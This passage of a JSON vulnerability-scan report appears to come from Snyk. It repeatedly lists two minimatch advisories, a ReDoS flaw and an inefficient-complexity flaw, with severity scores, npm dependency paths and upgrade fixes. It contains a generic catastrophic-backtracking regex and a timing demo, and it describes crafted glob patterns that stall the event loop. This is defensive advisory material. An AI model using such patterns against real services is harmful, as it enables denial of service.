[], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub 